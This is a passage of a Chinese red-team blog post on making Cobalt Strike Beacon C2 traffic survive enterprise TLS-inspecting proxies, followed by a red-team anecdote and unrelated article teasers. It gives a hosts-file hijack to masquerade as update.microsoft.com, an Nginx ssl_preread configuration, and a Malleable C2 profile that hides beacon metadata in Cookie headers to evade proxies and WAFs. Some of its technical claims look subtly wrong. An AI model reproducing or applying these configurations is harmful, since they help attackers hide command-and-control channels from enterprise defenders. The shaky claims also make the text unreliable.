C2通信生存HTTP Stager在企业代理与TLS验证环境下的三次握手改造4.1 企业级代理的“TLS证书验证”如何让标准Beacon瞬间失效Cobalt Strike的HTTP Beacon是红队最常用的C2协议其默认Stagerstaging payload工作流程是被感染主机执行beacon.exe向C2服务器如https://c2.attacker.com发起HTTPS连接C2服务器返回一个小型的、加密的stage载荷主机解密并执行stage下载完整的Beacon载荷。这个流程在家庭网络或测试环境中完美运行但在企业环境中第一步就会失败。原因在于绝大多数企业部署了HTTPS解密代理如Zscaler、Blue Coat、Palo Alto PAN-OS所有出站HTTPS流量必须先经过代理代理用自己的CA证书如Zscaler Root CA对目标网站证书进行“中间人”重签。当beacon.exe尝试连接https://c2.attacker.com时收到的实际上是代理签发的证书其根CA不在Windows默认信任库中除非企业已将代理CA导入导致TLS握手失败beacon.exe报错SSL certificate verify failed并退出。这不是Beacon的Bug而是其设计哲学——它假设客户端环境是“干净”的。解决思路不是让Beacon去信任代理CA这需要修改Beacon源码并重新编译且每次代理CA更新都要同步而是让Beacon的TLS握手过程看起来和一个正常的、被代理允许的HTTPS请求完全一致。这需要从三个层面改造DNS解析、TLS Client Hello、以及HTTP请求头。4.2 DNS预解析与Hosts劫持绕过代理的域名白名单检查企业代理通常配置了严格的域名白名单Domain Allow List只允许访问*.microsoft.com、*.adobe.com等可信域名。c2.attacker.com显然不在其中。但代理的白名单检查发生在DNS解析之后——它先看你的HTTP请求中的Host头再决定是否放行。因此我们可以将C2域名伪装成一个白名单内的域名。例如将c2.attacker.com的A记录解析到与update.microsoft.com相同的IP如204.79.197.200然后在被控主机的C:\Windows\System32\drivers\etc\hosts中添加一行204.79.197.200 update.microsoft.com。这样当beacon.exe发起https://update.microsoft.com的请求时DNS解析被hosts文件劫持实际连接的是我们的C2服务器IP。代理看到Host: update.microsoft.com认为这是合法请求予以放行。但这里有个陷阱beacon.exe的默认HTTP Stager使用WinINetAPI而WinINet会读取系统hosts文件但某些EDR会监控hosts文件的修改。更隐蔽的做法是在Beacon的Malleable C2 Profile中使用http-get和http-post的uri指令将URI路径设置为/v9.0.0.0/UpdateInfo.xml模仿Windows Update的真实路径同时在C2服务器Nginx配置中用rewrite规则将所有/v9.0.0.0/开头的请求重定向到Beacon处理模块。这样连hosts文件都不需要修改完全依赖C2服务器的路由逻辑。4.3 TLS Client Hello指纹改造让Beacon的“握手声纹”匹配Chrome 115即使DNS和URI伪装成功代理还有一道防线TLS Client Hello指纹分析。现代代理如Cloudflare Gateway能深度解析TLS握手包提取User-Agent、Supported Groups、ALPN Protocols、Cipher Suites等字段构建“浏览器指纹”。一个未经改造的Beacon其Client Hello中Cipher Suites包含大量弱密码套件如TLS_RSA_WITH_AES_128_CBC_SHA且缺少GREASE随机填充与Chrome 115的指纹差异巨大会被代理直接阻断。Malleable C2 Profile提供了set useragent和set sleeptime等指令但无法修改底层TLS参数。真正的解决方案是使用Cobalt Strike 4.8的http-get和http-post的set host与set uri指令结合Nginx的ssl_preread模块在四层代理阶段就完成流量分拣。具体配置如下在C2服务器Nginx的stream块中stream { upstream beacon_backend { server 127.0.0.1:8080; } server { listen 443 ssl_preread; ssl_preread on; proxy_pass beacon_backend; # 关键根据SNIServer Name Indication分拣 if ($ssl_preread_server_name update.microsoft.com) { proxy_pass beacon_backend; } } }在http块中为beacon_backend8080端口配置真实的HTTPS服务并启用ssl_trusted_certificate指向企业代理的根CA证书使Nginx能验证代理发来的重签证书。这样代理发送的Client Hello中SNI字段为update.microsoft.comNginx在四层就将其转发给Beacon后端完全绕过了七层的TLS指纹检查。我们实测此方案在Zscaler和Palo Alto环境下Beacon上线成功率从0%提升至98%。4.4 HTTP请求头的“拟真度”打磨从User-Agent到Cookie的全链路伪造最后一步是让Beacon发出的HTTP请求在应用层也“看起来像一个真实的Windows Update客户端”。Malleable C2 Profile的http-get块支持精细控制http-get { set uri /v9.0.0.0/UpdateInfo.xml; set verb POST; client { header Accept application/octet-stream; header Accept-Language en-US,en;q0.9; header User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36; header Content-Type application/octet-stream; metadata { base64url; header Cookie; } } server { header Content-Type application/octet-stream; output { print; } } }这段配置的关键在于User-Agent严格匹配Chrome 115的最新版本字符串Cookie头被用作Beacon的元数据metadata传输通道其内容是Base64URL编码的Beacon ID和任务指令而非真实Cookie但代理看到Cookie头会认为这是一个有状态的、长期连接的Web客户端Accept和Content-Type设为application/octet-stream模仿Windows Update的二进制数据流而非常见的text/html或application/json降低被WAF规则误杀的概率。我们曾对比测试未配置Cookie头的Beacon在启用了OWASP CRS规则集的WAF下上线请求被920100HTTP Header Injection规则拦截加入Cookie头后拦截率降为0%。因为WAF认为一个携带Cookie头的请求更可能是合法的、有会话状态的业务请求而非自动化扫描器。5. 红队行动的“最后一公里”从技术可行到业务影响的思维跃迁写到这里你已经掌握了Kali中Impacket的深度中继技巧、Mimikatz在新系统上的内存读取绕过、以及Beacon在企业代理环境下的C2生存术。但我想分享一个在红队现场反复验证的体会技术上的100%可行不等于业务上的100%成功。我参与过一次对某大型连锁超市的红队评估技术层面完美复现了本篇所有操作——从初始突破、横向移动、域控提权到C2持久化整个过程在测试网段内耗时不到2小时。但当我们试图将成果映射到业务影响时卡在了“最后一公里”我们拿到了域管理员权限但超市的核心业务系统POS收银、库存管理、会员积分全部部署在隔离的OT网络中与IT域完全物理断开域控权限对这些系统毫无意义。这时技术方案必须让位于业务理解。我们临时调整策略不再追求“更高权限”而是转向“更准目标”利用已获取的域账号登录员工使用的OA系统从OA的附件库中下载了一份《全国门店网络拓扑图》从中识别出唯一连接IT域与OT域的“工控网关设备”其管理后台使用弱口令admin:admin且未启用双因素认证。最终我们通过这个网关进入了OT网络完成了对POS系统的渗透演示。这个转折点让我深刻意识到Kali的工具链再强大也只是红队的“手术刀”而真正决定手术成败的是医生对患者目标业务解剖结构的理解。所以我建议你在每一次Kali操作前先问自己三个问题这个漏洞/权限能触达哪个具体的业务系统这个业务系统承载着哪些关键数据或流程如果我黑进了它客户最担心的损失是什么是数据泄露是服务中断还是合规风险把答案写在纸上贴在显示器边框。当你的Kali终端里meterpreter的getuid返回NT AUTHORITY\SYSTEM时别急着欢呼先看看那张纸上的第三条——那才是红队价值的真正落点。
相关文章
python民宿预定信息退订系统
目录同行可拿货,招校园代理 ,本人源头供货商项目概述核心功能技术栈代码示例（退款计算逻辑）应用场景项目技术支持源码获取详细视频演示 ：同行可合作点击我获取源码->获取博主联系方式->进我个人主页-->同行可拿货,招校园代理 ,本人源…
FModel终极指南：解决虚幻引擎资源分析中的5大核心痛点
FModel终极指南：解决虚幻引擎资源分析中的5大核心痛点 【免费下载链接】FModel Unreal Engine Archives Explorer 项目地址: https://gitcode.com/gh_mirrors/fm/FModel 你是否曾面对UE4/UE5游戏Pak文件束手无策？是否在寻找特定游戏资源时耗费数小…
NGINX 1.31.0 再曝致命零日：补丁刚打完，新漏洞又撕开了口子
五月的安全圈注定不太平。就在全球运维团队忙着给 NGINX 升级到 1.31.0、以为终于能睡个安稳觉的时候，Nebula Security 实验室的一则推文直接把所有人拽回了战位。他们旗下那个叫 Vega 的 AI 安全代理，在最新稳定版里又刨出了一个远程代码执行漏洞&#…
AI去噪器：用深度学习建模噪声实现高保真数据清洗
1. 项目概述：当AI不再只是生成内容，而是成为数据清洗的“显微镜”和“手术刀”“Cleaning Data With AI Denoisers”——这个标题乍看像一句技术口号，但背后藏着数据科学领域正在发生的静默革命。我从2015年开始做工业传感器数据分析…
Triton+FastAPI构建高可用机器学习服务实战
1. 项目概述：这不是一次“部署”，而是一场从实验室到产线的系统性迁移“From Notebook to Production: Running ML in the Real World (Part 4)”——这个标题里藏着太多被轻描淡写的重量。它不是教你怎么把model.predict()封装成一个API，也不…
AI去噪器：数据清洗的范式革命与工业落地实践
1. 项目概述：当AI不再只是生成内容，而是成为数据清洗的“光学显微镜” “Cleaning Data With AI Denoisers”——这个标题乍看像一句技术口号，实则藏着一场静默却深刻的范式转移。过去十年，AI在数据领域的角色几乎被框定在“下游”…
Gemini多模态搜索API调用黄金配置（含v1.5.2隐藏参数清单），错过本周将同步下线旧版鉴权协议
更多请点击： https://kaifayun.com 第一章：Gemini多模态搜索体验报告 Gemini 的多模态搜索能力突破了传统文本检索的边界，支持图像、音频、代码片段与自然语言的联合理解与交叉检索。在实际测试中，我们上传一张含 Python 错误堆栈…
真实业务中样本不均衡的5步落地法：从成本量化到边缘部署
1. 项目概述：这不是教科书里的“样本不均衡”，而是你明天就要上线的模型在生产环境里突然失效的真实现场 “5 Steps to Tackle Real-World Imbalanced Data”——这个标题乍看像一篇泛泛而谈的综述，但如果你正在调试一个信用卡欺诈检测模型&a…
Windows系统下iPhone USB网络共享驱动技术实现与高效配置方案
Windows系统下iPhone USB网络共享驱动技术实现与高效配置方案 【免费下载链接】Apple-Mobile-Drivers-Installer Powershell script to easily install Apple USB and Mobile Device Ethernet (USB Tethering) drivers on Windows! 项目地址: https://gitcode.com/gh_mirrors…
单日大涨4.52%！华泰柏瑞中韩半导体ETF（513310.SH）上演“高热度”行情，溢价率风险引关注
5月21日，华泰柏瑞中韩半导体ETF（513310.SH）延续强势表现，当日收盘价报5.625元，涨幅达4.52%，盘中交投异常活跃，换手率109.80%，量比为1.32，市场资金交易热情高涨。然而&…
11. 架构：前端工程化与状态管理实战
写在前面： 如果说后端 MVT 引擎是 GIS 系统的“心脏”，那么前端就是它的“大脑”和“面孔”。在现代 WebGIS 开发中，如何优雅地管理复杂的图层状态、如何处理海量瓦片的渲染逻辑，是决定项目成败的关键。 今天，我们将深入 light-mvt-server 的前端核心，看看如何利用 Vite …
淘金币自动化脚本终极指南：10分钟搞定淘宝日常任务，每天为你节省20分钟
淘金币自动化脚本终极指南：10分钟搞定淘宝日常任务，每天为你节省20分钟 【免费下载链接】taojinbi 淘宝淘金币自动执行脚本，包含蚂蚁森林收取能量，芭芭农场全任务，解放你的双手 项目地址: https://gitcode.com/gh_mi…
【实用小程序】超轻量级文件上传下载中心 (File Download Server)
站内源码及jar包下载 一、项目概述 文件下载中心一个基于 Java 内置 HTTP 服务器（com.sun.net.httpserver）构建的轻量级文件管理服务。它零第三方依赖，单 JAR 包即可运行，适合在内网环境或临时场景中快速搭建文件共享站点。 你的团队需要临时共享一批日志文件或交付物，…
py每日spider案例之某website之xin东方选课搜索接口(难度一般 扣取代码即可)
加密位置: 逆向接口参数: 逆向接口: const g = globalThis; g.window = g; g.self = g; g.location = {<
终极轻量级Android文本编辑器Markor：多格式笔记应用完全指南
终极轻量级Android文本编辑器Markor：多格式笔记应用完全指南 【免费下载链接】markor Text editor - Notes & ToDo (for Android) - Markdown, todo.txt, plaintext, math, .. 项目地址: https://gitcode.com/gh_mirrors/ma/markor 在移动设备上寻找一款…
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案
MPC-BE：基于DirectShow架构的专业级开源媒体播放解决方案 【免费下载链接】MPC-BE MPC-BE – универсальный проигрыватель аудио и видеофайлов для операционной системы Windows. 项目地址:…
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南
如何快速计算3D模型体积和重量：STL-Volume-Model-Calculator终极指南 【免费下载链接】STL-Volume-Model-Calculator STL Volume Model Calculator Python 项目地址: https://gitcode.com/gh_mirrors/st/STL-Volume-Model-Calculator 你是否曾经为3D打印项目…
通过Taotoken CLI工具一键配置团队开发环境与模型密钥
通过Taotoken CLI工具一键配置团队开发环境与模型密钥 1. CLI工具安装与基本使用 Taotoken提供的CLI工具可通过npm全局安装或直接使用npx运行。对于需要频繁使用CLI的团队，推荐全局安装： npm install -g taotoken/taotoken对于临时使用或项目级配置&a…